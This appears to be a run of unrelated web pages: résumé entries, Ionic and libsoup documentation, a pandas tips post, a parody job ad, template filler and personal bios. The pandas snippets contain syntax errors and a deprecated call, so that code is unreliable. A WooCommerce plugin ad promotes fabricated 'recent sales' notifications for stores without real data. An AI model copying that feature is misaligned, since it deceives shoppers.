Technical Writer, Commercial Division
March 2013 - April 2014
Design and generate specialized reports for commercial customer approval.
Reviewed measurement and repair data supplied in customer reports
Habitat for Humanity Cleveland, OH
January 2012 - February 2013
Works in partnerships to eliminate substandard housing, enabling families and volunteers to improve their lives.
Volunteer Management Intern
Facilitate home-building process for partner families and manage store inventory.
Supervised volunteer groups and coordinated project activities
Managed donation process and assisted in permit applications
Updated inventory database
Reviewed and updated safety compliance documentation
Findley Davies Cleveland, OH
February 2011 - December 2011
Partners with organizations to align people strategies with business strategies through design and implementation of human resource programs.
Actuarial Analyst
Analyze pension plan and retirement-related issues with a focus on mitigating clients' risk exposure while enhancing their financial performance.
Calculated benefits and actuarial valuations and filed associated government forms
Updated and managed client databases
Assisted consultants and actuaries in plan-design studies and other related projects
Pursued actuarial credentials through the firm-sponsored program
Society of Actuaries/Casualty Actuarial Society
June 2010
Passed Exam P/1 - Probability
Miami University Oxford, OH
August 2003 - December 2008
Nationally recognized public university with an exceptional commitment to undergraduate education.
Master of Arts (MA) Economics
August 2007 - December 2008
Advanced statistical and theoretical education in researching economic issues
Thesis titled, "The Employment Effects of the Tip Credit in the Restaurant Industry"
Bachelor of Science (BS) Economics
August 2003 - May 2007
Bachelor of Science (BS) Mathematics
August 2003 - May 2007
University Honors Scholar, 2003-2006
National Merit Honors Scholar, 2003-2007
Dean's List, 2003-2004
National Outdoor Leadership School Lander, WY
July 2007
Non-profit outdoor education school dedicated to teaching environmental ethics, safety and judgment, technical outdoor skills and leadership on extended wilderness expeditions.
Successfully completed Waddington Range Mountaineering course
Developed leadership and survival skills on glaciers in British Columbia
All content copywrite © 2016 Gregory Johnston and licensed under MIT.


Slides
ion-slides
ion-slides
The Slides component is a multi-section container. Each section can be swiped or dragged between. It contains any number of Slide components.
Creating
You should use a template to create slides and listen to slide events. The template
should contain the slide container, an <ion-slides>
element, and any number of
Slide components, written as <ion-slide>
. Basic configuration
values can be set as input properties, which are listed below. Slides events
can also be listened to such as the slide changing by placing the event on the
<ion-slides>
element. See Usage below for more information.
Navigating
After creating and configuring the slides, you can navigate between them
by swiping or calling methods on the Slides
instance. You can call slideTo()
to
navigate to a specific slide, or slideNext()
to change to the slide that follows
the active slide. All of the methods provided by the Slides
instance are listed below. See Usage below for more information on
navigating between slides.
Usage
You can add slides to a @Component
using the following template:
<ion-slides>
<ion-slide>

Slide 1

</ion-slide>
<ion-slide>

Slide 2

</ion-slide>
<ion-slide>

Slide 3

</ion-slide>
</ion-slides>
Next, we can use ViewChild
to assign the Slides instance to
your slides
property. Now we can call any of the Slides
methods, for example we can use the Slide's
slideTo()
method in order to navigate to a specific slide on
a button click. Below we call the goToSlide()
method and it
navigates to the 3rd slide:
import { ViewChild } from '@angular/core';
import { Slides } from 'ionic-angular';
class MyPage {
@ViewChild(Slides) slides: Slides;
goToSlide() {
this.slides.slideTo(2, 500);
}
}
We can also add events to listen to on the <ion-slides>
element.
Let's add the ionSlideDidChange
event and call a method when the slide changes:
<ion-slides (ionSlideDidChange)="slideChanged()">
In our class, we add the slideChanged()
method which gets the active
index and prints it:
class MyPage {
...
slideChanged() {
let currentIndex = this.slides.getActiveIndex();
console.log("Current index is", currentIndex);
}
}
Instance Members
controlBy
controlInverse
enableKeyboardControl(shouldEnableKeyboard)
Enable or disable keyboard control.
| Param | Type | Details |
|---|---|---|
| shouldEnableKeyboard |
boolean
|
If set to true the slider can be controled by a keyboard. |
getActiveIndex()
Get the index of the active slide.
number
The index number of the current slide.
getPreviousIndex()
Get the index of the previous slide.
number
The index number of the previous slide.
isBeginning()
Get whether or not the current slide is the first slide.
boolean
If the slide is the first slide or not.
isEnd()
Get whether or not the current slide is the last slide.
boolean
If the slide is the last slide or not.
length()
Get the total number of slides.
number
The total number of slides.
lockSwipeToNext(shouldLockSwipeToNext)
Lock or unlock the ability to slide to the next slides.
| Param | Type | Details |
|---|---|---|
| shouldLockSwipeToNext |
boolean
|
If set to true the user will not be able to swipe to the next slide. Set to false to unlock this behaviour. |
lockSwipeToPrev(shouldLockSwipeToPrev)
Lock or unlock the ability to slide to the previous slides.
| Param | Type | Details |
|---|---|---|
| shouldLockSwipeToPrev |
boolean
|
If set to true the user will not be able to swipe to the previous slide. Set to false to unlock this behaviour. |
lockSwipes(shouldLockSwipes)
Lock or unlock the ability to slide to change slides.
| Param | Type | Details |
|---|---|---|
| shouldLockSwipes |
boolean
|
If set to true user can not swipe in either direction on slide. False allows swiping in both directions. |
resize()
slideNext(speed, runCallbacks)
Transition to the next slide.
| Param | Type | Details |
|---|---|---|
| speed |
number
|
Transition duration (in ms).Optional |
| runCallbacks |
boolean
|
Whether or not to emit the |
slidePrev(speed, runCallbacks)
Transition to the previous slide.
| Param | Type | Details |
|---|---|---|
| speed |
number
|
Transition duration (in ms).Optional |
| runCallbacks |
boolean
|
Whether or not to emit the |
slideTo(index, speed, runCallbacks)
Transition to the specified slide.
| Param | Type | Details |
|---|---|---|
| index |
number
|
The index number of the slide. |
| speed |
number
|
Transition duration (in ms).Optional |
| runCallbacks |
boolean
|
Whether or not to emit the |
startAutoplay()
Start auto play.
stopAutoplay()
Stop auto play.
update()
Update the underlying slider implementation. Call this if you’ve added or removed child slides.
Input Properties
| Attr | Type | Details |
|---|---|---|
| autoplay | number |
Delay between transitions (in milliseconds). If this
parameter is not passed, autoplay is disabled. Default does
not have a value and does not autoplay.
Default: |
| control | Slides |
Pass another Slides instance or array of Slides instances
that should be controlled by this Slides instance.
Default: |
| dir | string |
If dir attribute is equal to rtl, set interal _rtl to true; |
| direction | string |
Swipe direction: 'horizontal' or 'vertical'.
Default: |
| effect | string |
The animation effect of the slides.
Possible values are: |
| initialSlide | number |
Index number of initial slide. Default: |
| loop | boolean |
If true, continuously loop from the last slide to the first slide. |
| pager | boolean |
If true, show the pager. |
| paginationType | string |
Type of pagination. Possible values are:
|
| parallax | boolean |
If true, allows you to use "parallaxed" elements inside of slider. |
| slidesPerView | number |
Slides per view. Slides visible at the same time. Default: |
| spaceBetween | number |
Distance between slides in px. Default: |
| speed | number |
Duration of transition between slides
(in milliseconds). Default: |
| zoom | boolean |
If true, enables zooming functionality. |
Output Events
| Attr | Details |
|---|---|
| ionSlideAutoplay | Emitted when a slide moves. |
| ionSlideAutoplayStart | Emitted when a autoplay starts. |
| ionSlideAutoplayStop | Emitted when a autoplay stops. |
| ionSlideDidChange | Emitted when a slide change ends. |
| ionSlideDoubleTap | Emitted when the user double taps on the slide's container. |
| ionSlideDrag | Emitted when a slide moves. |
| ionSlideNextEnd | Emitted when a slide change ends with the "forward" direction. |
| ionSlideNextStart | Emitted when a slide change starts with the "forward" direction. |
| ionSlidePrevEnd | Emitted when a slide change ends with the "backward" direction. |
| ionSlidePrevStart | Emitted when a slide change starts with the "backward" direction. |
| ionSlideReachEnd | Emitted when slides reaches its last slide. |
| ionSlideReachStart | Emitted when slides reaches its beginning (initial position). |
| ionSlideTap | Emitted when the user taps/clicks on the slide's container. |
| ionSlideWillChange | Emitted when a slide change starts. |
Advanced
There are several options available to create customized slides. Ionic exposes
the most commonly used options as inputs.
In order to use an option that isn't exposed as an input the following code
should be used, where freeMode
is the option to change:
import { ViewChild } from '@angular/core';
import { Slides } from 'ionic-angular';
class MyPage {
@ViewChild(Slides) slides: Slides;
ngAfterViewInit() {
this.slides.freeMode = true;
}
}
To see all of the available options, take a look at the source for slides.
Related
Adopted from Swiper.js: The most modern mobile touch slider and framework with hardware accelerated transitions.
http://www.idangero.us/swiper/
Copyright 2016, Vladimir Kharlampidi The iDangero.us http://www.idangero.us/
Licensed under MIT


| Interface | Description |
|---|---|
| FileEntryCallback |
When files are being uploaded, they will be saved into the file-system
unless a FileEntryCallback is provided, in which case the application
may take responsibility for the process of saving the files.
|
| FileEntryStatus | |
| IFileEntry | |
| PushResourceSetup |
| Class | Description |
|---|---|
| FileEntry | |
| FileEntryBase |
The FileEntry component allows for uploading files to the server within a form submit POST.
|
| FileEntryEvent | |
| FileEntryFormSubmit | |
| FileEntryHandler | |
| FileEntryLoader | |
| FileEntryPhaseListener | |
| FileEntryRenderer | |
| FileEntryResults | |
| FileEntryResults.FileInfo | |
| FileEntryTag | |
| FileEntryUpload | |
| FileUploadPortletRequestWrapper | |
| FormScriptWriter |
Writer to add common javascript blurb to form as a <script> element
|
| ProgressListenerResourcePusher |
When the upload has progress, pushes the progress resource to the browser
|
| ProgressResource |
The fileEntry progress information is accessed via a dynamic resource
|
| Enum | Description |
|---|---|
| FileEntryBase.PropertyKeys | |
| FileEntryStatuses |
FileEntryStatuses are the built-in statuses which correspond to the
localised messages defined in the org.icefaces.ace.resources.messages
ResourceBundle.
|
| Exception | Description |
|---|---|
| FileEntryUpload.CallbackException |
Copyright 2014 ICEsoft Technologies Canada Corp., All Rights Reserved.


Every managed object is assigned managed object id from the context. An NSManagedObjectID
is a unique id that can be used to reference managed objects across contexts. Consider the example below where secondObject
is returned from another context by referencing a managed object id.


Recruiter due diligence
Dear $FIRSTNAME,
We have an amazing opportunity for you:
We are looking for a senior recruitment supervisor manager leadership executive assistant helper.
You will get the responsibility to manage the international contacts and contracts with both potential employees and clients by working on their administration.
You will find and explore potential opportunities by several advanced and top of the notch techniques, including:
- telephone
- cellphone
- Instant messaging
- OFAEP
- advanced automated mailing system
- lean start-up
- Delonghi Nespresso supervision
Requirements
- Advanced expert in Microsoft Outlook 97 Dutch SP1 and Exchange SBS small business server management.
- Senior craftsman using Microsoft Word 2003, especially with mailmerge (version SP2) and setting hyperlinks in text
- Vivid Powerpoint and designer skills (especially in presentations with a background color of #33F521)
- Fluent in JSON webservices and RSS
- 3 years+ of experience in using SelfDevelopedBehemoth 4.5
- 4 years+ of experience with Samsung Galaxy S4
- 5 years+ of experience using Aastra Ericsson MD Evolution MI XLI
- 3 years+ of experience or equivalent on a monochrome 15'' LCD screen
- 5 years+ of experience on a cherry AZERTY keyboard
- 18+ years of experience with https://linkedin.com (manager and owner of at least 10 groups of over 10K members)
- Preferably a recent (i.e. <2y old) MBA at one of the top 10 business schools.
- At least 10 year of experience in making coffee
- Experience in DevOps and DDD is considered a plus
- Should be fluent in at least the following languages:
- Dutch
- French
- English
- Sanskrit
- Should know the 72 questions to determine your MBTI type by heart.
Rewards
We offer a competitive salary (i.e. +/- $BURGERFLIPPER_SALARY x 1.5) and a company car park free daily coffee pass. Next to this we will grant you a free phone and laptop with unlimited usage (1).
We offer flexible working hours (i.e. start between 7.00 and 7.15, stop between 19.00 and 19.10), and allow working from home as well (next to office hours, between 20.00 and 3.00).
Contact us now; we need to fill this position ASAP!
Kind regards,
$RECRUITER_FIRSTNAME
(1) non-business-usage is allowed, but billed at 10 EUR/hour for the laptop and 2 EUR/minute for the cellphone.


Pandas dataframe tricks
10 Jan 2019What is it?
No, we are not talking about the species of cute large asian mammals, we are talking about the (equally cute) Python library.
It’s a Python library with a DataFrame class that’s VERY useful for a lot of things. Everything you can do with a Spreadsheet can be done better with Panda’s DataFrame.
Import
import pandas as pd
You may also need to import numpy:
import numpy as np
Load CSV/TSV Files
df = pd.read_csv(filePath, sep=separatorChar)
Write the modified DataFrame
df.to_csv(filePath, sep=separatorChar, index=writeUselessNewIndexesOnFileAndMakeAHugeMess)
Create a new empty DataFrame and then fill it with new data
rows = []
for index in indexes:
row = dict()
row['indexName'] = index
row['dataAboutIndex] = getDataFrom(index)
# etc, etc
rows.append(row)
df = pd.DataFrame(rows)
#and for columns with an specific order:
df = pd.DataFrame(rows, columns['indexName', 'dataAboutIndex'])
Utilities:
Some essential tricks for DataFrames
Create new columns
df['column'] = np.NaN
df['anotherColumn'] = ''
Iterate row by row
for index, row in df.iterrows():
#do something
Assign values to specific cell
df.set_value(rowIndex, column, newValue)
Call a lambda for every row (faster than a for loop)
df.apply(lambda row: function(row), axis=1) #axis=1 for rows, no columns
Can be used to assign values to a whole column too:
df['column'] = df.apply(lambda row: function(row), axis=1)
Drop columns
df.drop('columnX', axis=1, inplace=True)
Drop rows which are not included in a set of indexes
df_sliced = df.take(list(indexes_to_keep))
Create a column with the mean value of other columns
df['median'] = df[np.array(list(columnsSet))].median(axis=1)
# or
df['median'] = df.median(axis=1)
# also workds for .mean() and .quantile(x)


KeyC
AR
ds
person_add
Add Employee
edit
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delete_forever
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Login
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Leave A Message<EMAIL_ADDRESS>Why Choose Us
They will have to make the best of things its an uphill climb
Best In The Industry
Rogers are blown out of their into an orbit which freezes his life which freezes his life
Customer Support
Come and listen to a story about Jed a poor mountaineer barely kept his family fed buck rogers to
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The mate was a mighty sailin' man the two skipper brave and sure. Five
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Mister we could use a man like Herbert Hoover again. They're creepy and they're kooky mysterious and spooky. They're all togethe
Have a visit to Our Store for a Movement
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They will have to make the best of things its an uphill climb
Pet Grooming
The Big Oxmox advised her not to do so, because there were thousands.
Regular Health Checkup
The Big Oxmox advised her not to do so, because there were thousands.
Best Nutrition
The Big Oxmox advised her not to do so, because there were thousands.
Medical Support
The Big Oxmox advised her not to do so, because there were thousands.
Quality Products Selling
The Big Oxmox advised her not to do so, because there were thousands.
Anytime Emergency Unit
The Big Oxmox advised her not to do so, because there were thousands.
Our Team On Service
They will have to make the best of things its an uphill climb


{% extends 'dst/base.html' %} {% block title %}About {{ site.name }} {% endblock %} {% block content %}
I own a wrist watch with world time feature. I don't often need to check the time in Tokyo, but when I do I like it to be accurate, not one hour off.
Cities that make use of Daylight Saving Time enable and disable DST at arbitrary dates of the year. Without an automated system to keep track of DST changes over the world, I always had some cities off.
I figured out that the best way to solve this problem was to receive a notification whenever a city enables or disables DST. I could not find any existing service doing that, so here we are.
This website is maintained by Nicolas Le Manchet. The code behind it is open source, you can find it on Github.
Do you want to add a city to the list? Did you find a bug? If you need anything just email<EMAIL_ADDRESS>{% endblock %}


libsoup Client Basicslibsoup Client Basics — Client-side tutorial |
This section explains how to use libsoup as an HTTP client using several new APIs introduced in version 2.42. If you want to be compatible with older versions of libsoup, consult the documentation for that version.
The first step in using the client API is to create a SoupSession. The session object encapsulates all of the state that libsoup is keeping on behalf of your program; cached HTTP connections, authentication information, etc.
When you create the session with soup_session_new_with_options
,
you can specify various additional options:
Allows you to set the maximum total number of connections the session will have open at one time. (Once it reaches this limit, it will either close idle connections, or wait for existing connections to free up before starting new requests.) The default value is 10. |
|
Allows you to set the maximum total number of connections the session will have open to a single host at one time. The default value is 2. |
|
Allows you to set a User-Agent string that will be sent on all outgoing requests. |
|
|
Allow you to set an Accept-Language header on all outgoing
requests. |
Allow you to tell the session to recognize additional URI
schemes as aliases for " |
|
|
Alternatively, if you want all requests to go through a
single proxy, you can set |
|
|
These allow you to specify SoupSessionFeatures (discussed below) to add at construct-time. |
Other properties are also available; see the SoupSession documentation for more details.
If you don't need to specify any options, you can just use soup_session_new
,
which takes no arguments.
Additional session functionality is provided as SoupSessionFeatures,
which can be added to a session, via the SOUP_SESSION_ADD_FEATURE
and SOUP_SESSION_ADD_FEATURE_BY_TYPE
options at session-construction-time, or afterward via the soup_session_add_feature
and soup_session_add_feature_by_type
functions.
A SoupContentDecoder is added for you automatically. This advertises to servers that the client supports compression, and automatically decompresses compressed responses.
Some other available features that you can add include:
A debugging aid, which logs all of libsoup's HTTP traffic
to |
|
Support for HTTP cookies. SoupCookieJar provides non-persistent cookie storage, while SoupCookieJarText uses a text file to keep track of cookies between sessions, and SoupCookieJarDB uses a SQLite database. |
|
Uses the HTML5 sniffing rules to attempt to determine the Content-Type of a response when the server does not identify the Content-Type, or appears to have provided an incorrect one. |
Use the "add_feature_by_type" property/function to add features that don't require any configuration (such as SoupContentSniffer), and the "add_feature" property/function to add features that must be constructed first (such as SoupLogger). For example, an application might do something like the following:
1 2 3 4 5 6 7 8 9 10 11 |
session = soup_session_new_with_options ( SOUP_SESSION_ADD_FEATURE_BY_TYPE, SOUP_TYPE_CONTENT_SNIFFER, NULL); if (debug_level) { SoupLogger *logger; logger = soup_logger_new (debug_level, -1); soup_session_add_feature (session, SOUP_SESSION_FEATURE (logger)); g_object_unref (logger); } |
Once you have a session, you send HTTP requests using SoupMessage. In the simplest case, you only need to create the message and it's ready to send:
1 2 3 |
SoupMessage *msg; msg = soup_message_new ("GET", "http://example.com/"); |
In more complicated cases, you can use various SoupMessage, SoupMessageHeaders, and SoupMessageBody methods to set the request headers and body of the message:
1 2 3 4 5 6 |
SoupMessage *msg; msg = soup_message_new ("POST", "http://example.com/form.cgi"); soup_message_set_request (msg, "application/x-www-form-urlencoded", SOUP_MEMORY_COPY, formdata, strlen (formdata)); soup_message_headers_append (msg->request_headers, "Referer", referring_url); |
(Although this is a bad example, because libsoup actually has convenience methods for dealing with HTML forms, as well as XML-RPC.)
You can also use soup_message_set_flags
to change some default behaviors. For example, by default,
SoupSession automatically handles responses from the
server that redirect to another URL. If you would like to handle these
yourself, you can set the SOUP_MESSAGE_NO_REDIRECT
flag.
To send a message and wait for the response, use soup_session_send
:
1 2 3 4 |
GInputStream *stream; GError *error = NULL; stream = soup_session_send (session, msg, cancellable, &error); |
At the point when soup_session_send
returns, the
request will have been sent, and the response headers read back in;
you can examine the message's status_code
,
reason_phrase
, and
response_headers
fields to see the response
metadata. To get the response body, read from the returned GInputStream, and close it
when you are done.
Note that soup_session_send
only returns an error
if a transport-level problem occurs (eg, it could not connect to the
host, or the request was cancelled). Use the message's
status_code
field to determine whether the
request was successful or not at the HTTP level (ie, "200
OK
" vs "401 Bad Request
").
If you would prefer to have libsoup gather
the response body for you and then return it all at once, you can use
the older
soup_session_send_message
API:
1 2 3 |
guint status; status = soup_session_send_message (session, msg); |
In this case, the response body will be available in the message's
response_body
field, and transport-level
errors will be indicated in the status_code
field via special pseudo-HTTP-status codes like SOUP_STATUS_CANT_CONNECT
.
To send a message asynchronously, use soup_session_send_async
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
{ ... soup_session_send_async (session, msg, cancellable, my_callback, my_callback_data); ... } static void my_callback (GObject *object, GAsyncResult *result, gpointer user_data) { GInputStream *stream; GError *error = NULL; stream = soup_session_send_finish (SOUP_SESSION (object), result, &error); ... } |
The message will be added to the session's queue, and eventually (when control is returned back to the main loop), it will be sent and the response be will be read. When the message has been sent, and its headers received, the callback will be invoked, in the standard GAsyncReadyCallback style.
As with synchronous sending, there is also an alternate API, soup_session_queue_message
,
in which your callback is not invoked until the response has been
completely read:
1 2 3 4 5 6 7 8 9 10 11 |
{ ... soup_session_queue_message (session, msg, my_callback, my_callback_data); ... } static void my_callback (SoupSession *session, SoupMessage *msg, gpointer user_data) { /* msg->response_body contains the response */ } |
soup_session_queue_message
is slightly unusual in that it steals a reference to the message
object, and unrefs it after the last callback is invoked on it. So
when using this API, you should not unref the message yourself.
Once you have received the initial response from the server,
synchronously or asynchronously, streaming or not, you can look at the
response fields in the SoupMessage
to decide what
to do next. The status_code
and
reason_phrase
fields contain the numeric
status and textual status response from the server.
response_headers
contains the response
headers, which you can investigate using soup_message_headers_get
and soup_message_headers_foreach
.
SoupMessageHeaders
automatically parses several important headers in
response_headers
for you and provides
specialized accessors for them. Eg, soup_message_headers_get_content_type
.
There are several generic methods such as soup_header_parse_param_list
(for parsing an attribute-list-type header) and soup_header_contains
(for quickly testing if a list-type header contains a particular
token). These handle the various syntactical oddities of parsing HTTP
headers much better than functions like
g_strsplit
or strstr
.
SoupSession handles most of the details of HTTP
authentication for you. If it receives a 401 ("Unauthorized") or 407
("Proxy Authentication Required") response, the session will emit the
authenticate signal,
providing you with a SoupAuth object indicating the
authentication type ("Basic", "Digest", or "NTLM") and the realm name
provided by the server. If you have a username and password available
(or can generate one), call soup_auth_authenticate
to give the information to libsoup. The session will automatically
requeue the message and try it again with that authentication
information. (If you don't call
soup_auth_authenticate
, the session will just
return the message to the application with its 401 or 407 status.)
If the server doesn't accept the username and password provided, the
session will emit authenticate again, with the
retrying
parameter set to TRUE
. This lets the
application know that the information it provided earlier was
incorrect, and gives it a chance to try again. If this
username/password pair also doesn't work, the session will contine to
emit authenticate
again and again until the
provided username/password successfully authenticates, or until the
signal handler fails to call soup_auth_authenticate
,
at which point libsoup will allow the
message to fail (with status 401 or 407).
If you need to handle authentication asynchronously (eg, to pop up a
password dialog without recursively entering the main loop), you can
do that as well. Just call soup_session_pause_message
on the message before returning from the signal handler, and
g_object_ref
the SoupAuth. Then,
later on, after calling soup_auth_authenticate
(or deciding not to), call soup_session_unpause_message
to resume the paused message.
By default, NTLM authentication is not enabled. To add NTLM support to a session, call:
1 |
soup_session_add_feature_by_type (session, SOUP_TYPE_AUTH_NTLM); |
(You can also disable Basic or Digest authentication by calling soup_session_remove_feature_by_type
on SOUP_TYPE_AUTH_BASIC
or SOUP_TYPE_AUTH_DIGEST
.)
A SoupSession can be used from multiple threads. However, if you are using the async APIs, then each thread you use the session from must have its own thread-default GMainContext.
SoupMessage is not thread-safe, so once you send a message on the session, you must not interact with it from any thread other than the one where it was sent.
A few sample programs are available in the
libsoup sources, in the
examples
directory:
get
is a simple command-line
HTTP GET utility using the asynchronous API.
simple-proxy
uses both the
client and server APIs to create a simple (and not very
RFC-compliant) proxy server. It shows how to use the SOUP_MESSAGE_OVERWRITE_CHUNKS
flag when reading a message to save memory by processing each
chunk of the message as it is read, rather than accumulating
them all into a single buffer to process all at the end.
More complicated examples are available in GNOME git.


{{ define "account/sign_in_up.html" }}
To keep connected with us please login with your personal info
Enter your personal details and start journey with us


If you have a legacy system, it can be overwhelming as a typical system is a mess when it comes to package dependencies. This tutorial shows a way to ease into the verifydesign task instead of fixing everything all at once.
First, in your build.xml file, use this line to verify your jar(or you can modify it to verify multiple jars)
<verifydesign jar="yourjarname.jar" design="design.xml" />Now is the hardest part, go ahead and define every package and set the needDepends attribute to false for all of them so your design.xml should look like so
<design> <package name="first" package="your.first.package" needDepends="false"/> <package name="second" package="your.second.package" needDepends="false"/> <package name="third" package="your.third.package" needDepends="false"/> <package name="fourth" package="your.fourth.package" needDepends="false"/> <package name="fifth" package="your.fifth.package" needDepends="false"/> </design>Please give them better names then first, second, third, etc. You may have 100 packages on some projects and this may take a while to get started, but keep in mind once you are done with this, you are done with the majority of the work and the build will pass once you are done with this too! Now comes the fun part, learning about your design. Take a package that you want to start restricting dependencies on and erase the needDepends(by default it's value will be true). Let's take your.first.package and create the new design.xml file like so...
<design> <package name="first" package="your.first.package"/> <package name="second" package="your.second.package" needDepends="false"/> <package name="third" package="your.third.package" needDepends="false"/> <package name="fourth" package="your.fourth.package" needDepends="false"/> <package name="fifth" package="your.fifth.package" needDepends="false"/> </design>Now we run the build and we get errors that your.first.package depends on second, third, and fourth. Let's pretend we only wanted to depend on second and third. We then change our design file to so...
<design> <package name="first" package="your.first.package" <depends>second</depends> <depends>third</depends> </package> <package name="second" package="your.second.package" needDepends="false"/> <package name="third" package="your.third.package" needDepends="false"/> <package name="fourth" package="your.fourth.package" needDepends="false"/> <package name="fifth" package="your.fifth.package" needDepends="false"/> </design>Now we run the build and clean up all the code so that first doesn't depend on fourth anymore. This first step can typically take a full release if you are doing this in the margins. That is ok and now forever your.first.package will only depend on second and third until the design file is changed. You have made major progress. I would suggest a package a release. It can clean up dependencies and you will start finding it can be easier to add more and more features and not end up with a wad or mess on your hands. Good luck designing. Refactoring a legacy system can be very challenging and very long with or without this task. This ant task guarantees that you are actually heading in your defined direction. Whether the direction is correct or not is another story :).
Copyright © 2002-2004 Ant-Contrib Project. All rights Reserved.


|
|
def | __init__ |
| |
|
def | destination_url |
| |
|
def | set_destination_url |
| |
|
def | clear_destination_url |
| |
|
def | has_destination_url |
| |
|
def | auth_domain |
| |
|
def | set_auth_domain |
| |
|
def | clear_auth_domain |
| |
|
def | has_auth_domain |
| |
|
def | federated_identity |
| |
|
def | set_federated_identity |
| |
|
def | clear_federated_identity |
| |
|
def | has_federated_identity |
| |
|
def | MergeFrom |
| |
|
def | Equals |
| |
|
def | IsInitialized |
| |
|
def | ByteSize |
| |
|
def | ByteSizePartial |
| |
|
def | Clear |
| |
|
def | OutputUnchecked |
| |
|
def | OutputPartial |
| |
|
def | TryMerge |
| |
|
def | __str__ |
| |
|
|
| has_destination_url_ |
| |
|
| destination_url_ |
| |
|
| has_auth_domain_ |
| |
|
| auth_domain_ |
| |
|
| has_federated_identity_ |
| |
|
| federated_identity_ |
| |
|
|
int | has_destination_url_ = 0 |
| |
|
string | destination_url_ = "" |
| |
|
int | has_auth_domain_ = 0 |
| |
|
string | auth_domain_ = "" |
| |
|
int | has_federated_identity_ = 0 |
| |
|
string | federated_identity_ = "" |
| |
|
int | kdestination_url = 1 |
| |
|
int | kauth_domain = 2 |
| |
|
int | kfederated_identity = 3 |
| |
The documentation for this class was generated from the following file:
- code/googleappengine-read-only/python/google/appengine/api/user_service_pb.py


Tag
Axure Kit
Carbon
Updates
Common widgets
Style effects
Variables
Selection group
Repeater
Dynamic panel
Introduction
Axure elements
Utilities
UI shell
Tooltip
Toggle
Tile
Text input
Tag
Tabs
Structured list
Slider
Select
Search
Radio button
Progress indicator
Pagination
Overflow menu
Number input
Notification
Modal
Loading
List
Link
Inline loading
Form
File upoader
Dropdown
Date picker
Data table
Content switcher
Code snippet
Checkbox
Button
Breadcrumb
Accordion
Components
Typography
Spacing
Icons
Color
Design elements
Library index
Getting started
Components
Privacy
Have questions? Open an issue on GitHub.
Last updated 29 January 2020
Copyright © 2020 IBM
Terms of Use
Contribute
IBM.com
Tag
Library section:
Interactions:
Text
Cyan
Teal
Red
Magenta
Purple
Blue
Green
Gray
Cool Gray
Warm Gray
Implemented features
Adding widget to document will import the widget styles (c tag blue , c tag cyan , c tag gray etc.) that you can use to quickly change color of tags later.
c tag blue
c tag cyan
c tag gray
Dedicated Axure widget styles for each color.
Usage
Tag filter
Library section:
Interactions:
Text
Style effects
Warm Gray
Cool Gray
Gray
Green
Teal
Cyan
Blue
Purple
Magenta
Red
Warm Gray
Cool Gray
Gray
Green
Teal
Cyan
Blue
Purple
Magenta
Red
:enabled
:disabled
Dedicated Axure widget styles for each color (with padding for button).
–
Tags can be hidden by clicking close button.
–
Tags can be disabled (by Axure widget state).
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Implemented features
Use interactive cursor widget to display "not allowed" cursor over a disabled tag.
Usage
–


Rediska connection exec
Located in /Rediska/Connection/Exec.php (line 13)
Command
Rediska connection
Is writed
Read response from connection
Transfrom Multi Bulk command to string
Execute command
Get command
Read response from connection
Constructor
Write command to connection
Magic method for execute
Documentation generated on Fri, 27 Aug 2010 13:55:32 +0400 by phpDocumentor 1.4.3


Web Designer - Instructional Designer - Makerspace Explorer
I am a passionate and creative educator with academic background in instructional technology and diverse experiences in teaching.
As an instructional designer with cross-disciplinary skills and experiences, I enjoy designing and developing effective learning.


The DevDesk Team
-
Adam Barnett
Project Manager
-
Mashima Button
Backend Developer
-
Seth Cox
React Developer I
-
Lucas Greenwell
React Developer II
-
Milo Rastgoo
React Developer II
-
Tim Shaker
Web UI Developer


The trial to legalise marijuana in South Africa follows a global trend of decrimilisation and legalisation. The African continent lags behind, while the Americas, Western and Eastern Europe, Australia and Southern Asia have largely decriminalised, with a small minority like Spain legalising the drug.
By JASON NORWOOD-YOUNG and DAVE MACKIE


Do you want to increase your per order value? We have very power sales motivator features bundled in a single plugin.
This plugin helps you increase conversions and maximize order value with a customizable free shipping notification bar, recent sales notification and frequently bought together widgets.
Free Shipping Notifications
Encourage people to add more products into the cart by displaying how much more do they need in order to qualify for free shipping.
The required amount for free shipping updates in real time as they add more products in cart.
You can also use this notification bar as a regular/standard notification bar if you do not offer free shipping on your store.
Recently Bought Notifications
Creates a positive influence on your customer by displaying the recent sales in real time. It also motivates them to buy your products. You can also display the total cart value or the recent sales and customize the message on the notification widget.
If your store doesn't have a lot of sales, you can also set a category to display the data from. It will show recent sales notification if there there are no real data. This is very useful for the new stores.
Frequently Bought Together
You can now display Amazon like frequently bought together widget on your Woocommerce websites with this plugin.
The Frequently Bought Together intelligently displays the frequently bought together products at the product page. Customers can add those products directly into the cart with a single click.
This plugin analyses the previous purchases in your store database through real order or you can set products form the single product page so user can usually added together to the shopping cart.
You can also manually assign products to show as frequently bought together products if you do not have enough data on your store.
Demo
Docs
Relic Social Share
Social Share is a super simple and fast way to let your visitors share your content. Your visitors can quickly share your content various social site.
Demo Docs Download
Social Share is a super simple and fast way to let your visitors share your content. Your visitors can quickly share your content various social site.
Features
Demo Docs Download


Set Up Pre-Flows
Set up flows that are automatically loaded in for you when you select New Round.
Speaker Position
Toggle between 1st Speaker Mode and 2nd Speaker Mode. Does not affect blank rounds.
Currently, this is unimplemented. Click all you want - it doesn't do anything.
Arbitrary Version Number
In Dev 2.2.0


Hello, my name is Magda and I was born and raised in Poland. After I graduated High-School in Poland I decided to come to the United States for vacation.
In fact, my vacation lasted so far 13 years 😂. Well during my vacation I decided to stay longer in the US and go to school to learn english.
In those 14 years being here I met my lovely husband, Lukasz, 💗who I am married to for 12 years, worked couple different jobs, became a United States
citizen, still pursuing my academics and three years ago
I started my dream job as a police officer. 👮I know you might think I am crazy but that is a job I always wanted
to do and I decided that I need to try. So far it was all worth it. At Lewis University, I am pursuing bachelor degree in
Forensis Criminal Investigations/Minor in Natural Science and it is my last year.
My family is big and they are the most important people in my life. My husband who is also Polish and was raised in the same city in Poland as me but we
did not know each other back there, we met in Chicago. I have two sisters and two brothers. Sadly, my two sisters and my mom are still living in
Poland and miss them dearly. I am trying to visit them as often as I can, however due to my job and Covid-19 I wasn't able to go to Poland for around four years,
now. But, if everything works out I will go to Poland next summer and most likely visit another country in Eurpe as well. Also, hopefylly my sisters will be
able to visit me soon. In addition to my siblings, I have a niece and nephew that I love them dearly 💗.  Oh and I can not forget about our beautifull dog Mika that lives with my sister now.
Before taking computer science class I did not know much about computers and its technology. I only new how to use it for simple tasks but nothing advanced.
